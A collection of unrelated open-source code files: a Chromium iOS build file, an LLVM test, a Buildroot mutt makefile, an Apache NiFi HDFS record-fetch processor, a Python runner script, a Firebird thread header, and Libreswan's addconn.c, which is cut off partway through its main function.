source_set("advanced_settings_signin") {
configs += [ "//build/config/compiler:enable_arc" ]
sources = [
"advanced_settings_signin_coordinator.h",
"advanced_settings_signin_coordinator.mm",
"advanced_settings_signin_mediator.h",
"advanced_settings_signin_mediator.mm",
"advanced_settings_signin_navigation_controller.h",
"advanced_settings_signin_navigation_controller.mm",
]
public_deps = [
"//ios/chrome/browser/ui/authentication/signin:constants",
"//ios/chrome/browser/ui/authentication/signin:signin_headers",
]
deps = [
":constants",
"//components/sync",
"//components/unified_consent",
"//ios/chrome/app/strings",
"//ios/chrome/browser/browser_state",
"//ios/chrome/browser/main:public",
"//ios/chrome/browser/signin",
"//ios/chrome/browser/sync",
"//ios/chrome/browser/ui/alert_coordinator",
"//ios/chrome/browser/ui/authentication/signin:signin_protected",
"//ios/chrome/browser/ui/settings/google_services",
"//ios/chrome/browser/ui/settings/google_services:constants",
"//ios/web/public",
"//ui/base",
]
}
source_set("constants") {
configs += [ "//build/config/compiler:enable_arc" ]
sources = [
"advanced_settings_signin_constants.h",
"advanced_settings_signin_constants.mm",
]
}
source_set("unit_tests") {
configs += [ "//build/config/compiler:enable_arc" ]
testonly = true
sources = [ "advanced_settings_signin_mediator_unittest.mm" ]
deps = [
":advanced_settings_signin",
"//base/test:test_support",
"//components/autofill/core/common",
"//components/prefs",
"//components/prefs:test_support",
"//components/sync/driver:test_support",
"//components/sync_preferences",
"//components/sync_preferences:test_support",
"//ios/chrome/app/strings",
"//ios/chrome/browser/browser_state:test_support",
"//ios/chrome/browser/main:test_support",
"//ios/chrome/browser/prefs:browser_prefs",
"//ios/chrome/browser/signin",
"//ios/chrome/browser/signin:test_support",
"//ios/chrome/browser/sync",
"//ios/chrome/browser/sync:test_support",
"//ios/chrome/browser/ui/authentication",
"//ios/public/provider/chrome/browser/signin:fake_chrome_identity",
"//ios/public/provider/chrome/browser/signin:test_support",
"//ios/web/public/test",
]
}
| {
"pile_set_name": "Github"
} |
; RUN: llc -mtriple x86_64-apple-darwin15.0.0 -o - /dev/null | FileCheck %s
; RUN: llc -mtriple x86_64-apple-macosx10.11.0 -o - /dev/null | FileCheck %s
; RUN: llc -mtriple x86_64-apple-macos10.11.0 -o - /dev/null | FileCheck %s
; CHECK: .macosx_version_min 10, 11
| {
"pile_set_name": "Github"
} |
#############################################################
#
# mutt
#
#############################################################
MUTT_VERSION = 1.5.21
MUTT_SITE = http://downloads.sourceforge.net/project/mutt/mutt-dev
MUTT_DEPENDENCIES = ncurses
MUTT_CONF_OPT = --disable-iconv --disable-smtp
MUTT_AUTORECONF = YES
$(eval $(autotools-package))
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.nifi.processors.hadoop;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.OutputStream;
import java.security.PrivilegedAction;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.security.AccessControlException;
import org.apache.hadoop.security.UserGroupInformation;
import org.apache.nifi.annotation.behavior.TriggerWhenEmpty;
import org.apache.nifi.annotation.configuration.DefaultSettings;
import org.apache.nifi.components.PropertyDescriptor;
import org.apache.nifi.expression.ExpressionLanguageScope;
import org.apache.nifi.flowfile.FlowFile;
import org.apache.nifi.flowfile.attributes.CoreAttributes;
import org.apache.nifi.processor.ProcessContext;
import org.apache.nifi.processor.ProcessSession;
import org.apache.nifi.processor.ProcessorInitializationContext;
import org.apache.nifi.processor.Relationship;
import org.apache.nifi.processor.exception.FlowFileAccessException;
import org.apache.nifi.processor.exception.ProcessException;
import org.apache.nifi.processor.util.StandardValidators;
import org.apache.nifi.processors.hadoop.record.HDFSRecordReader;
import org.apache.nifi.serialization.RecordSetWriter;
import org.apache.nifi.serialization.RecordSetWriterFactory;
import org.apache.nifi.serialization.WriteResult;
import org.apache.nifi.serialization.record.Record;
import org.apache.nifi.serialization.record.RecordSchema;
import org.apache.nifi.util.StopWatch;
/**
* Base processor for reading a data from HDFS that can be fetched into records.
*/
@TriggerWhenEmpty // trigger when empty so we have a chance to perform a Kerberos re-login
@DefaultSettings(yieldDuration = "100 ms") // decrease the default yield since we are triggering when empty
public abstract class AbstractFetchHDFSRecord extends AbstractHadoopProcessor {
public static final PropertyDescriptor FILENAME = new PropertyDescriptor.Builder()
.name("filename")
.displayName("Filename")
.description("The name of the file to retrieve")
.required(true)
.expressionLanguageSupported(ExpressionLanguageScope.FLOWFILE_ATTRIBUTES)
.defaultValue("${path}/${filename}")
.addValidator(StandardValidators.ATTRIBUTE_EXPRESSION_LANGUAGE_VALIDATOR)
.build();
public static final PropertyDescriptor RECORD_WRITER = new PropertyDescriptor.Builder()
.name("record-writer")
.displayName("Record Writer")
.description("The service for writing records to the FlowFile content")
.identifiesControllerService(RecordSetWriterFactory.class)
.required(true)
.build();
public static final Relationship REL_SUCCESS = new Relationship.Builder()
.name("success")
.description("FlowFiles will be routed to this relationship once they have been updated with the content of the file")
.build();
public static final Relationship REL_FAILURE = new Relationship.Builder()
.name("failure")
.description("FlowFiles will be routed to this relationship if the content of the file cannot be retrieved and trying again will likely not be helpful. "
+ "This would occur, for instance, if the file is not found or if there is a permissions issue")
.build();
public static final Relationship REL_RETRY = new Relationship.Builder()
.name("retry")
.description("FlowFiles will be routed to this relationship if the content of the file cannot be retrieved, but might be able to be in the future if tried again. "
+ "This generally indicates that the Fetch should be tried again.")
.build();
public static final String FETCH_FAILURE_REASON_ATTR = "fetch.failure.reason";
public static final String RECORD_COUNT_ATTR = "record.count";
private volatile Set<Relationship> fetchHdfsRecordRelationships;
private volatile List<PropertyDescriptor> fetchHdfsRecordProperties;
@Override
protected final void init(final ProcessorInitializationContext context) {
super.init(context);
final Set<Relationship> rels = new HashSet<>();
rels.add(REL_SUCCESS);
rels.add(REL_RETRY);
rels.add(REL_FAILURE);
this.fetchHdfsRecordRelationships = Collections.unmodifiableSet(rels);
final List<PropertyDescriptor> props = new ArrayList<>(properties);
props.add(FILENAME);
props.add(RECORD_WRITER);
props.addAll(getAdditionalProperties());
this.fetchHdfsRecordProperties = Collections.unmodifiableList(props);
}
/**
* Allows sub-classes to add additional properties, called from initialize.
*
* @return additional properties to add to the overall list
*/
public List<PropertyDescriptor> getAdditionalProperties() {
return Collections.emptyList();
}
@Override
public final Set<Relationship> getRelationships() {
return fetchHdfsRecordRelationships;
}
@Override
public final List<PropertyDescriptor> getSupportedPropertyDescriptors() {
return fetchHdfsRecordProperties;
}
/**
* Sub-classes provide the appropriate HDFSRecordReader.
*
* @param context the process context to obtain additional configuration
* @param flowFile the flow file being written
* @param conf the Configuration instance
* @param path the path to write to
* @return the HDFSRecordWriter
* @throws IOException if an error occurs creating the writer
*/
public abstract HDFSRecordReader createHDFSRecordReader(final ProcessContext context, final FlowFile flowFile, final Configuration conf, final Path path)
throws IOException;
@Override
public void onTrigger(final ProcessContext context, final ProcessSession session) throws ProcessException {
// do this before getting a flow file so that we always get a chance to attempt Kerberos relogin
final FileSystem fileSystem = getFileSystem();
final Configuration configuration = getConfiguration();
final UserGroupInformation ugi = getUserGroupInformation();
if (configuration == null || fileSystem == null || ugi == null) {
getLogger().error("Processor not configured properly because Configuration, FileSystem, or UserGroupInformation was null");
context.yield();
return;
}
final FlowFile originalFlowFile = session.get();
if (originalFlowFile == null ) {
context.yield();
return;
}
ugi.doAs((PrivilegedAction<Object>)() -> {
FlowFile child = null;
final String filenameValue = context.getProperty(FILENAME).evaluateAttributeExpressions(originalFlowFile).getValue();
try {
final Path path = new Path(filenameValue);
final AtomicReference<Throwable> exceptionHolder = new AtomicReference<>(null);
final AtomicReference<WriteResult> writeResult = new AtomicReference<>();
final RecordSetWriterFactory recordSetWriterFactory = context.getProperty(RECORD_WRITER).asControllerService(RecordSetWriterFactory.class);
final StopWatch stopWatch = new StopWatch(true);
// use a child FlowFile so that if any error occurs we can route the original untouched FlowFile to retry/failure
child = session.create(originalFlowFile);
final AtomicReference<String> mimeTypeRef = new AtomicReference<>();
child = session.write(child, (final OutputStream rawOut) -> {
try (final BufferedOutputStream out = new BufferedOutputStream(rawOut);
final HDFSRecordReader recordReader = createHDFSRecordReader(context, originalFlowFile, configuration, path)) {
Record record = recordReader.nextRecord();
final RecordSchema schema = recordSetWriterFactory.getSchema(originalFlowFile.getAttributes(),
record == null ? null : record.getSchema());
try (final RecordSetWriter recordSetWriter = recordSetWriterFactory.createWriter(getLogger(), schema, out, originalFlowFile)) {
recordSetWriter.beginRecordSet();
if (record != null) {
recordSetWriter.write(record);
}
while ((record = recordReader.nextRecord()) != null) {
recordSetWriter.write(record);
}
writeResult.set(recordSetWriter.finishRecordSet());
mimeTypeRef.set(recordSetWriter.getMimeType());
}
} catch (Exception e) {
exceptionHolder.set(e);
}
});
stopWatch.stop();
// if any errors happened within the session.write then throw the exception so we jump
// into one of the appropriate catch blocks below
if (exceptionHolder.get() != null) {
throw exceptionHolder.get();
}
FlowFile successFlowFile = postProcess(context, session, child, path);
final Map<String,String> attributes = new HashMap<>(writeResult.get().getAttributes());
attributes.put(RECORD_COUNT_ATTR, String.valueOf(writeResult.get().getRecordCount()));
attributes.put(CoreAttributes.MIME_TYPE.key(), mimeTypeRef.get());
successFlowFile = session.putAllAttributes(successFlowFile, attributes);
final Path qualifiedPath = path.makeQualified(fileSystem.getUri(), fileSystem.getWorkingDirectory());
getLogger().info("Successfully received content from {} for {} in {} milliseconds", new Object[] {qualifiedPath, successFlowFile, stopWatch.getDuration()});
session.getProvenanceReporter().fetch(successFlowFile, qualifiedPath.toString(), stopWatch.getDuration(TimeUnit.MILLISECONDS));
session.transfer(successFlowFile, REL_SUCCESS);
session.remove(originalFlowFile);
return null;
} catch (final FileNotFoundException | AccessControlException e) {
getLogger().error("Failed to retrieve content from {} for {} due to {}; routing to failure", new Object[] {filenameValue, originalFlowFile, e});
final FlowFile failureFlowFile = session.putAttribute(originalFlowFile, FETCH_FAILURE_REASON_ATTR, e.getMessage() == null ? e.toString() : e.getMessage());
session.transfer(failureFlowFile, REL_FAILURE);
} catch (final IOException | FlowFileAccessException e) {
getLogger().error("Failed to retrieve content from {} for {} due to {}; routing to retry", new Object[] {filenameValue, originalFlowFile, e});
session.transfer(session.penalize(originalFlowFile), REL_RETRY);
context.yield();
} catch (final Throwable t) {
getLogger().error("Failed to retrieve content from {} for {} due to {}; routing to failure", new Object[] {filenameValue, originalFlowFile, t});
final FlowFile failureFlowFile = session.putAttribute(originalFlowFile, FETCH_FAILURE_REASON_ATTR, t.getMessage() == null ? t.toString() : t.getMessage());
session.transfer(failureFlowFile, REL_FAILURE);
}
// if we got this far then we weren't successful so we need to clean up the child flow file if it got initialized
if (child != null) {
session.remove(child);
}
return null;
});
}
/**
* This method will be called after successfully writing to the destination file and renaming the file to it's final name
* in order to give sub-classes a chance to take action before transferring to success.
*
* @param context the context
* @param session the session
* @param flowFile the flow file being processed
* @param fetchPath the path that was fetched
* @return an updated FlowFile reference
*/
protected FlowFile postProcess(final ProcessContext context, final ProcessSession session, final FlowFile flowFile, final Path fetchPath) {
return flowFile;
}
}
| {
"pile_set_name": "Github"
} |
from data import runner_util
from data import test_util as point_test_util
from ranker import runner as ranker_runner
from ranker import test_util as ranker_test_util
def main():
points_input = list(point_test_util.GetPointsInput('data', 'test_sf_1.csv').values())
points_ranker_runner = ranker_runner.PointsRankerRunner()
city_visit_parameters = (
runner_util.GetCityVisitParameters(ranker_test_util.MockVisitLocation(),
[ranker_test_util.MockDayVisitParameters()]))
points_ranker_runner.Run(points_input, city_visit_parameters)
if __name__ == '__main__':
main()
| {
"pile_set_name": "Github"
} |
/*
* PROGRAM: JRD access method
* MODULE: ThreadData.h
* DESCRIPTION: Thread support definitions
*
* The contents of this file are subject to the Interbase Public
* License Version 1.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy
* of the License at http://www.Inprise.com/IPL.html
*
* Software distributed under the License is distributed on an
* "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
* or implied. See the License for the specific language governing
* rights and limitations under the License.
*
* The Original Code was created by Inprise Corporation
* and its predecessors. Portions created by Inprise Corporation are
* Copyright (C) Inprise Corporation.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*
* 2002.10.28 Sean Leyne - Completed removal of obsolete "DGUX" port
*
* 2002.10.29 Sean Leyne - Removed obsolete "Netware" port
*
* Alex Peshkov
*/
#ifndef JRD_THREADDATA_H
#define JRD_THREADDATA_H
#include "firebird.h"
#ifdef USE_POSIX_THREADS
#include "fb_pthread.h"
#endif
// Thread specific data
namespace Firebird {
class ThreadData
{
public:
enum ThreadDataType {
tddGBL = 1, // used by backup/restore
tddDBB = 2, // used in engine
tddDBA = 3, // used in gstat utility
tddALICE = 4, // used by gfix
tddSEC = 5 // used by gsec
};
private:
ThreadData* threadDataPriorContext;
ThreadDataType threadDataType; // what kind of thread context this is
public:
explicit ThreadData(ThreadDataType t)
: threadDataPriorContext(0), threadDataType(t)
{}
ThreadDataType getType() const
{
return threadDataType;
}
ThreadData* getPriorContext() const
{
return threadDataPriorContext;
}
static ThreadData* getSpecific();
void putSpecific();
static void restoreSpecific();
};
} // namespace Firebird
// Thread entry point definitions might much better look in ThreadStart.h,
// but due to need to have them in utilities declarations, and no need in
// gds__thread_start() there, placed here. AP 2007.
#if defined(WIN_NT)
#define THREAD_ENTRY_PARAM void*
#define THREAD_ENTRY_RETURN unsigned int
#define THREAD_ENTRY_CALL __stdcall
#elif defined(USE_POSIX_THREADS)
#define THREAD_ENTRY_PARAM void*
#define THREAD_ENTRY_RETURN void*
#define THREAD_ENTRY_CALL
#else
// Define correct types for other platforms
#define THREAD_ENTRY_PARAM void*
#define THREAD_ENTRY_RETURN int
#define THREAD_ENTRY_CALL
#endif
#define THREAD_ENTRY_DECLARE THREAD_ENTRY_RETURN THREAD_ENTRY_CALL
#endif // JRD_THREADDATA_H
| {
"pile_set_name": "Github"
} |
/*
* A program to read the configuration file and load a single conn
* Copyright (C) 2005 Michael Richardson <[email protected]>
* Copyright (C) 2012-2014 Paul Wouters <[email protected]>
* Copyright (C) 2014 D. Hugh Redelmeier <[email protected]>
* Copyright (C) 2012-2013 Kim B. Heino <[email protected]>
* Copyright (C) 2019 Andrew Cagney <[email protected]>
* Copyright (C) 2019 Paul Wouters <[email protected]>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version. See <https://www.gnu.org/licenses/gpl2.txt>.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*/
#include <stdlib.h>
#include <getopt.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include "lswlog.h"
#include "lswcdefs.h" /* for UNUSED */
#include "lswalloc.h"
#include "lswtool.h"
#include "whack.h"
#include "ipsecconf/parser-controls.h"
#include "ipsecconf/starterlog.h"
#include "ipsecconf/confread.h"
#include "ipsecconf/confwrite.h"
#include "ipsecconf/starterwhack.h"
#ifdef XFRM_SUPPORT
#include "addr_lookup.h"
#endif
#ifdef USE_DNSSEC
# include "dnssec.h"
#endif
#ifdef HAVE_SECCOMP
#define LSW_SECCOMP_EXIT_FAIL 8
#include "lswseccomp.h"
#endif
static int verbose = 0;
/*
* make options valid environment variables
*/
static char *environlize(const char *str)
{
char *cpy = strndup(str, strlen(str));
char *cur = cpy;
while((cur = strchr(cur, '-')) != NULL) {
*cur++ = '_';
}
return cpy;
}
/*
* See if conn's left or right is %defaultroute and resolve it.
*
* XXX: why not let pluto resolve all this like it is already doing?
* because of MOBIKE.
*/
static void resolve_defaultroute(struct starter_conn *conn UNUSED, struct logger *logger)
{
#ifdef XFRM_SUPPORT
if (resolve_defaultroute_one(&conn->left, &conn->right, verbose != 0, logger) == 1)
resolve_defaultroute_one(&conn->left, &conn->right, verbose != 0, logger);
if (resolve_defaultroute_one(&conn->right, &conn->left, verbose != 0, logger) == 1)
resolve_defaultroute_one(&conn->right, &conn->left, verbose != 0, logger);
#else /* !defined(XFRM_SUPPORT) */
/* What kind of result are we seeking? */
bool seeking_src = (conn->left.addrtype == KH_DEFAULTROUTE ||
conn->right.addrtype == KH_DEFAULTROUTE);
bool seeking_gateway = (conn->left.nexttype == KH_DEFAULTROUTE ||
conn->right.nexttype == KH_DEFAULTROUTE);
if (!seeking_src && !seeking_gateway)
return; /* this end already figured out */
fatal(logger, "addcon: without XFRM/NETKEY, cannot resolve_defaultroute()");
#endif
}
#ifdef HAVE_SECCOMP
static void init_seccomp_addconn(uint32_t def_action, struct logger *logger)
{
scmp_filter_ctx ctx = seccomp_init(def_action);
if (ctx == NULL) {
fprintf(stderr, "seccomp_init_addconn() failed!");
exit(LSW_SECCOMP_EXIT_FAIL);
}
/*
* Because on bootup, addconn is started by pluto, any syscall
* here MUST also appear in the syscall list for "main" inside
* pluto
*/
LSW_SECCOMP_ADD(access);
LSW_SECCOMP_ADD(arch_prctl);
LSW_SECCOMP_ADD(brk);
LSW_SECCOMP_ADD(bind);
LSW_SECCOMP_ADD(clone);
LSW_SECCOMP_ADD(clock_gettime);
LSW_SECCOMP_ADD(close);
LSW_SECCOMP_ADD(connect);
LSW_SECCOMP_ADD(epoll_create);
LSW_SECCOMP_ADD(epoll_create1);
LSW_SECCOMP_ADD(epoll_ctl);
LSW_SECCOMP_ADD(epoll_wait);
LSW_SECCOMP_ADD(epoll_pwait);
LSW_SECCOMP_ADD(exit_group);
LSW_SECCOMP_ADD(fcntl);
LSW_SECCOMP_ADD(fstat);
LSW_SECCOMP_ADD(futex);
LSW_SECCOMP_ADD(getdents);
LSW_SECCOMP_ADD(getegid);
LSW_SECCOMP_ADD(getpid);
LSW_SECCOMP_ADD(getrlimit);
LSW_SECCOMP_ADD(geteuid);
LSW_SECCOMP_ADD(getgid);
LSW_SECCOMP_ADD(getrandom);
LSW_SECCOMP_ADD(getuid);
LSW_SECCOMP_ADD(ioctl);
LSW_SECCOMP_ADD(mmap);
LSW_SECCOMP_ADD(lseek);
LSW_SECCOMP_ADD(munmap);
LSW_SECCOMP_ADD(mprotect);
LSW_SECCOMP_ADD(open);
LSW_SECCOMP_ADD(openat);
LSW_SECCOMP_ADD(pipe2);
LSW_SECCOMP_ADD(poll);
LSW_SECCOMP_ADD(prctl);
LSW_SECCOMP_ADD(read);
LSW_SECCOMP_ADD(readlink);
LSW_SECCOMP_ADD(recvfrom);
LSW_SECCOMP_ADD(rt_sigaction);
LSW_SECCOMP_ADD(rt_sigprocmask);
LSW_SECCOMP_ADD(sendto);
LSW_SECCOMP_ADD(setsockopt);
LSW_SECCOMP_ADD(set_robust_list);
LSW_SECCOMP_ADD(set_tid_address);
LSW_SECCOMP_ADD(sigreturn);
LSW_SECCOMP_ADD(socket);
LSW_SECCOMP_ADD(socketcall);
LSW_SECCOMP_ADD(socketpair);
LSW_SECCOMP_ADD(stat);
LSW_SECCOMP_ADD(statfs);
LSW_SECCOMP_ADD(uname);
LSW_SECCOMP_ADD(waitpid);
LSW_SECCOMP_ADD(write);
#ifdef USE_EFENCE
LSW_SECCOMP_ADD(madvise);
#endif
int rc = seccomp_load(ctx);
if (rc < 0) {
fprintf(stderr, "seccomp_load() failed!");
seccomp_release(ctx);
exit(LSW_SECCOMP_EXIT_FAIL);
}
}
#endif
static const char *usage_string = ""
"Usage: addconn [--config file] [--ctlsocket socketfile]\n"
" [--varprefix prefix] [--noexport]\n"
" [--verbose]\n"
" [--configsetup]\n"
" [--liststack]\n"
" [--checkconfig]\n"
" [--autoall]\n"
" [--listall] [--listadd] [--listroute] [--liststart]\n"
" [--listignore]\n"
" names\n";
static void usage(void)
{
/* print usage */
fputs(usage_string, stderr);
exit(10);
}
static const struct option longopts[] =
{
{ "config", required_argument, NULL, 'C' },
{ "debug", no_argument, NULL, 'D' },
{ "verbose", no_argument, NULL, 'D' },
{ "addall", no_argument, NULL, 'a' }, /* alias, backwards compat */
{ "autoall", no_argument, NULL, 'a' },
{ "listall", no_argument, NULL, 'A' },
{ "listadd", no_argument, NULL, 'L' },
{ "listroute", no_argument, NULL, 'r' },
{ "liststart", no_argument, NULL, 's' },
{ "listignore", no_argument, NULL, 'i' },
{ "varprefix", required_argument, NULL, 'P' },
{ "ctlsocket", required_argument, NULL, 'c' },
{ "ctlbase", required_argument, NULL, 'c' }, /* backwards compatibility */
{ "configsetup", no_argument, NULL, 'T' },
{ "liststack", no_argument, NULL, 'S' },
{ "checkconfig", no_argument, NULL, 'K' },
{ "noexport", no_argument, NULL, 'N' },
{ "help", no_argument, NULL, 'h' },
/* obsoleted, eat and ignore for compatibility */
{"defaultroute", required_argument, NULL, 'd'},
{"defaultroutenexthop", required_argument, NULL, 'n'},
{ 0, 0, 0, 0 }
};
int main(int argc, char *argv[])
{
struct logger *logger = tool_init_log(argv[0]);
int opt;
bool autoall = FALSE;
bool configsetup = FALSE;
bool checkconfig = FALSE;
const char *export = "export"; /* display export before the foo=bar or not */
bool
dolist = FALSE,
listadd = FALSE,
listroute = FALSE,
liststart = FALSE,
listignore = FALSE,
listall = FALSE,
liststack = FALSE;
char *configfile = NULL;
const char *varprefix = "";
int exit_status = 0;
struct starter_conn *conn = NULL;
const char *ctlsocket = NULL;
#if 0
/* efence settings */
extern int EF_PROTECT_BELOW;
extern int EF_PROTECT_FREE;
EF_PROTECT_BELOW = 1;
EF_PROTECT_FREE = 1;
#endif
while ((opt = getopt_long(argc, argv, "", longopts, 0)) != EOF) {
switch (opt) {
case 'h':
/* usage: */
usage();
break;
case 'a':
autoall = TRUE;
break;
case 'D':
verbose++;
lex_verbosity++;
break;
case 'T':
configsetup = TRUE;
break;
case 'K':
checkconfig = TRUE;
break;
case 'N':
export = "";
break;
case 'C':
configfile = clone_str(optarg, "config file name");
break;
case 'c':
ctlsocket = clone_str(optarg, "control socket");
break;
case 'L':
listadd = TRUE;
dolist = TRUE;
break;
case 'r':
listroute = TRUE;
dolist = TRUE;
break;
case 's':
liststart = TRUE;
dolist = TRUE;
break;
case 'S':
liststack = TRUE;
dolist = TRUE;
break;
case 'i':
listignore = TRUE;
dolist = TRUE;
break;
case 'A':
listall = TRUE;
dolist = TRUE;
break;
case 'P':
varprefix = optarg;
break;
case 'd':
case 'n':
fprintf(stderr, "Warning: options --defaultroute and --defaultroutenexthop are obsolete and were ignored\n");
break;
default:
usage();
}
}
if (autoall) {
/* pluto forks us, we might have to wait on it to create the socket */
struct stat sb;
int ws = 5; /* somewhat arbitrary */
while (ws > 0) {
int ret = stat(ctlsocket == NULL ? DEFAULT_CTL_SOCKET :
ctlsocket, &sb);
if (ret == -1) {
sleep(1);
} else {
break;
}
ws--;
}
if (ws == 0) {
fprintf(stderr, "ipsec addconn: timeout waiting on pluto socket %s - aborted\n",
ctlsocket);
exit(3);
}
}
/* if nothing to add, then complain */
if (optind == argc && !autoall && !dolist && !configsetup &&
!checkconfig)
usage();
if (verbose > 3) {
yydebug = 1;
}
char *confdir = IPSEC_CONFDIR;
if (configfile == NULL) {
/* ??? see code clone in programs/readwriteconf/readwriteconf.c */
configfile = alloc_bytes(strlen(confdir) +
sizeof("/ipsec.conf"),
"conf file");
/* calculate default value for configfile */
strcpy(configfile, confdir); /* safe: see allocation above */
if (configfile[0] != '\0' && configfile[strlen(configfile) - 1] != '/')
strcat(configfile, "/"); /* safe: see allocation above */
strcat(configfile, "ipsec.conf"); /* safe: see allocation above */
}
if (verbose > 0)
printf("opening file: %s\n", configfile);
starter_use_log(verbose != 0, TRUE, verbose == 0);
struct starter_config *cfg = NULL;
{
starter_errors_t errl = { NULL };
cfg = confread_load(configfile, &errl, ctlsocket, configsetup, logger);
if (cfg == NULL) {
fprintf(stderr, "cannot load config '%s': %s\n",
configfile, errl.errors);
pfreeany(errl.errors);
exit(3);
}
if (errl.errors != NULL) {
fprintf(stderr, "addconn, in config '%s', ignoring: %s\n",
configfile, errl.errors);
pfree(errl.errors);
}
if (checkconfig) {
confread_free(cfg);
exit(0);
}
}
#ifdef HAVE_SECCOMP
switch (cfg->setup.options[KBF_SECCOMP]) {
case SECCOMP_ENABLED:
init_seccomp_addconn(SCMP_ACT_KILL, logger);
break;
case SECCOMP_TOLERANT:
init_seccomp_addconn(SCMP_ACT_ERRNO(EACCES), logger);
break;
case SECCOMP_DISABLED:
break;
default:
bad_case(cfg->setup.options[KBF_SECCOMP]);
}
#endif
#ifdef USE_DNSSEC
unbound_sync_init(cfg->setup.options[KBF_DO_DNSSEC],
cfg->setup.strings[KSF_PLUTO_DNSSEC_ROOTKEY_FILE],
cfg->setup.strings[KSF_PLUTO_DNSSEC_ANCHORS],
logger);
#endif
if (autoall) {
if (verbose > 0)
printf("loading all conns according to their auto= settings\n");
/*
* Load all conns marked as auto=add or better.
* First, do the auto=route and auto=add conns to quickly
* get routes in place, then do auto=start as these can be
* slower.
* This mimics behaviour of the old _plutoload
*/
if (verbose > 0)
printf(" Pass #1: Loading auto=add, auto=route and auto=start connections\n");
for (conn = cfg->conns.tqh_first; conn != NULL; conn = conn->link.tqe_next) {
if (conn->desired_state == STARTUP_ADD ||
conn->desired_state == STARTUP_ONDEMAND ||
conn->desired_state == STARTUP_START)
{
if (verbose > 0)
printf(" %s", conn->name);
resolve_defaultroute(conn, logger);
starter_whack_add_conn(cfg, conn, logger);
}
}
/*
* We loaded all connections. Now tell pluto to listen,
* then route the conns and resolve default route.
*/
starter_whack_listen(cfg);
if (verbose > 0)
printf(" Pass #2: Routing auto=route connections\n");
for (conn = cfg->conns.tqh_first; conn != NULL; conn = conn->link.tqe_next) {
if (conn->desired_state == STARTUP_ONDEMAND)
{
if (verbose > 0)
printf(" %s", conn->name);
if (conn->desired_state == STARTUP_ONDEMAND)
starter_whack_route_conn(cfg, conn, logger);
}
}
if (verbose > 0)
printf(" Pass #3: Initiating auto=start connections\n");
for (conn = cfg->conns.tqh_first; conn != NULL; conn = conn->link.tqe_next) {
if (conn->desired_state == STARTUP_START) {
if (verbose > 0)
printf(" %s", conn->name);
starter_whack_initiate_conn(cfg, conn);
}
}
if (verbose > 0)
printf("\n");
} else {
/* load named conns, regardless of their state */
int connum;
if (verbose > 0)
printf("loading named conns:");
for (connum = optind; connum < argc; connum++) {
const char *connname = argv[connum];
const char *p1 = ""; /* message prefix components */
const char *p2 = "";
const char *p3 = "";
if (verbose > 0)
printf(" %s", connname);
/* find first name match, if any */
for (conn = cfg->conns.tqh_first;
conn != NULL && !streq(conn->name, connname);
conn = conn->link.tqe_next) {
}
if (conn == NULL) {
/* We didn't find name; look for first alias */
p1 = "alias: ";
p2 = connname;
p3 = " ";
for (conn = cfg->conns.tqh_first;
conn != NULL;
conn = conn->link.tqe_next) {
if (lsw_alias_cmp(connname,
conn->strings[KSCF_CONNALIAS]))
{
break;
}
}
}
if (conn == NULL) {
/* we found neither name nor alias */
exit_status += RC_UNKNOWN_NAME; /* cause non-zero exit code */
if (verbose > 0) {
printf(" (notfound)\n");
}
fprintf(stderr, "conn '%s': not found (tried aliases)\n",
connname);
} else {
/* found name or alias */
if (conn->state == STATE_ADDED) {
fprintf(stderr, "\n%s%s%sconn %s already added\n",
p1, p2, p3,
conn->name);
} else if (conn->state == STATE_FAILED) {
fprintf(stderr, "\n%s%s%sconn %s did not load properly\n",
p1, p2, p3,
conn->name);
} else {
resolve_defaultroute(conn, logger);
exit_status = starter_whack_add_conn(cfg, conn, logger);
conn->state = STATE_ADDED;
}
}
}
}
if (listall) {
if (verbose > 0)
printf("listing all conns\n");
for (conn = cfg->conns.tqh_first;
conn != NULL;
conn = conn->link.tqe_next)
printf("%s ", conn->name);
printf("\n");
} else {
if (listadd) {
if (verbose > 0)
printf("listing all conns marked as auto=add\n");
/* list all conns marked as auto=add */
for (conn = cfg->conns.tqh_first;
conn != NULL;
conn = conn->link.tqe_next) {
if (conn->desired_state == STARTUP_ADD)
printf("%s ", conn->name);
}
}
if (listroute) {
if (verbose > 0)
printf("listing all conns marked as auto=route and auto=start\n");
/*
* list all conns marked as auto=route or start or
* better
*/
for (conn = cfg->conns.tqh_first;
conn != NULL;
conn = conn->link.tqe_next) {
if (conn->desired_state == STARTUP_START ||
conn->desired_state == STARTUP_ONDEMAND)
printf("%s ", conn->name);
}
}
if (liststart && !listroute) {
if (verbose > 0)
printf("listing all conns marked as auto=start\n");
/* list all conns marked as auto=start */
for (conn = cfg->conns.tqh_first;
conn != NULL;
conn = conn->link.tqe_next) {
if (conn->desired_state == STARTUP_START)
printf("%s ", conn->name);
}
}
if (listignore) {
if (verbose > 0)
printf("listing all conns marked as auto=ignore\n");
/* list all conns marked as auto=start */
for (conn = cfg->conns.tqh_first;
conn != NULL;
conn = conn->link.tqe_next) {
if (conn->desired_state == STARTUP_IGNORE)
printf("%s ", conn->name);
}
printf("\n");
}
}
if (liststack) {
const struct keyword_def *kd;
